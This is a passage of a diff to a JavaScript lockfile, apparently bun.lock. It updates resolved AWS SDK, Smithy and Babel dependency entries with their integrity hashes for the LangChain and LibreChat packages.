"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
@@ -8707,8 +8023,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -8737,67 +8051,125 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-login": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-V+PbnWfUl93GuFwsOHsAq7hY/fnm9kElRqR8IexIJr5Rvif9e614X5sGSyz3mVSf1YAZ+VTy63W1/pGdA55zyA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
